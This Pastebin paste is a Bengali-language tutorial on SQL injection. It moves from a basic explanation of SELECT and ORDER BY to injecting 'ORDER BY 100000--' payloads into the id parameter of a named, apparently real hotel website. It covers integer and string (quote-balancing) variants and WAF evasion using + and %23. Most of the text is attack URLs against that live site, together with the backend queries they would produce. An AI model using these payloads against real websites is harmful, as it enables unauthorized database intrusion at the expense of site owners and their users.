Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- অর্ডার বাই কিভাবে কাজ করেঃ
- তার আগে জেনে নিই সিলেক্ট কিভাবে কাজ করেঃ
- SELECT Name, Age FROM Person
- এর মাধ্যমে আমরা যেটা চাইছি যে, 'Person' টেবিল থেকে 'Name' আর 'Age' কলামের ডেটা।
- অর্থাৎ, SELECT এর পর সাধারণত কলাম নেম থাকে আর FROM এর পর সাধারণত টেবিল নেম।
- output:
- Partho 23
- Rasel 34
- Fahim 15
- Azam 21
- যদি বয়স অনুসারে সাজাতে চাই তবে?
- SELECT Name, Age FROM Person ORDER BY Age
- অর্থাৎ 'Age' কলাম অনুসারে সাজাবে। 'Age' আসলে 'Person' টেবিলের একটা কলাম। যদি সেটি টেবিলের ৩ নাম্বার কলাম হয় তবে এভাবে দিলেও কাজ করবে
- SELECT Name, Age FROM Person ORDER BY 3
- কিন্তু টেবিলে যদি মোট ১২ টি কলাম থাকে আর আমরা যদি SELECT Name, Age FROM Person ORDER BY 13 দেই তাহলে কাজ করবে না
- বলবে unknown column
- আমাদের এখন টার্গেট লিঙ্ক http://hotelornate.com.pk/leftmenubody.php?id=56
- দিলাম http://hotelornate.com.pk/leftmenubody.php?id=56
- এখানে id এর মান 56
- backend query: SELECT * FROM 'table_name' Wthere id=<এখানে id এর মান বসবে> and submit='pass'; (ধরে নিলাম, আসলে ভেতরে কি আছে আমি জানি না)
- তার মানে
- backend query: SELECT * FROM 'table_name' Wthere id=56 and submit='pass';
- এবার দিলাম http://hotelornate.com.pk/leftmenubody.php?id=56 ORDER BY 100000
- অর্থাৎ, id এর মান এখন 56 ORDER BY 100000
- backend query: SELECT * FROM 'table_name' Wthere id=56 ORDER BY 100000 and submit='pass';
- এখানে সমস্যা হল 100000 এর পরের কোড যাতে কাজ না করে। তাই দিলাম এবার দিলাম
- http://hotelornate.com.pk/leftmenubody.php?id=56 ORDER BY 100000--
- backend query: SELECT * FROM 'table_name' Wthere id=56 ORDER BY 100000-- and submit='pass';
- এবার হল আসল মজা। -- SQL মানে হল কমেন্ট। -- এর পর কিছু থাকলে তা আর কাজ করবে না।
- অর্থাৎ,
- backend query: SELECT * FROM 'table_name' Wthere id=56 ORDER BY 100000
- এতটুকু রান হবে। এখানে রেজাল্ট কে ১০০০০ কলামের অর্ডারে সাজানো হবে।
- ১০০০০ টি কলাম না পেলে বলবে এতগুলো কলাম নাই
- নোটঃ অনেক সময় WAF এর জন্য " " -- এগুলো ব্লক করা থাকে তাই আমরা " "(স্পেস) এর বদলে + এবং -- এর বদলে # বা # এর URL Encoding %23 ব্যবহার করবো।
- অর্থাৎ,
- http://hotelornate.com.pk/leftmenubody.php?id=56+ORDER+BY+100000%23
- এতক্ষন আমরা যে মেথড নিয়ে কথা বললাম তা ইন্টিজার বেস ছিল।
- কারণ সেই কুয়েরি তে id ছিল ইন্টিজার ভেরিয়েবল
- যদি এমন হতঃ
- আমাদের এখন টার্গেট লিঙ্ক http://hotelornate.com.pk/leftmenubody.php?id=56
- দিলাম http://hotelornate.com.pk/leftmenubody.php?id=56
- backend query: SELECT * FROM 'table_name' Wthere id='<এখানে id এর মান বসবে>' and submit='pass';
- খেয়াল কর যারা হাল্কা প্রোগ্রামিং পারো তারা বুঝতে পারছো id এখানে স্ট্রিং টাইপ ভেরিয়েবল। কারণ তার ভ্যালু '' এর মাঝে আছে।
- এবার দিলাম http://hotelornate.com.pk/leftmenubody.php?id=56 ORDER BY 100000
- অর্থাৎ, id এর মান এখন 56 ORDER BY 100000--
- তাই কোডে id='' এর '' এর মাঝে ভ্যালু বসে যাবে।
- backend query: SELECT * FROM 'table_name' Wthere id='56 ORDER BY 100000--' and submit='pass';
- এবার কি হল!!!
- মূল কোড
- backend query: SELECT * FROM 'table_name' Wthere id='56 ORDER BY 100000
- এটা কাজ তো না করার ই কথা। কারণ id='56 ORDER BY 100000 একটা ' কম আছে।
- যদি এভাবে দেই?
- এবার দিলাম http://hotelornate.com.pk/leftmenubody.php?id=56' ORDER BY 100000--
- অর্থাৎ, id এর মান এখন 56' ORDER BY 100000-- তাহলেই ' ব্যালেন্স হয়ে গেলো
- backend query: SELECT * FROM 'table_name' Wthere id='56' ORDER BY 100000--' and submit='pass';
- মূল কোডঃ SELECT * FROM 'table_name' Wthere id='56' ORDER BY 100000
- মাঝে মাঝে একটা + দেওয়া লাগে, আসলে + মানে একটা স্পেস। তবে # ব্যবহার করলে তার দরকার নাই
- এবার দিলাম http://hotelornate.com.pk/leftmenubody.php?id=56' ORDER BY 100000--+
- অর্থাৎ, id এর মান এখন 56' ORDER BY 100000--+
- backend query: SELECT * FROM 'table_name' Wthere id='56' ORDER BY 100000--+' and submit='pass';
- মূল কোডঃ SELECT * FROM 'table_name' Wthere id='56' ORDER BY 100000
- এবার চিল আর চিল !!!
Add Comment
Please, Sign In to add comment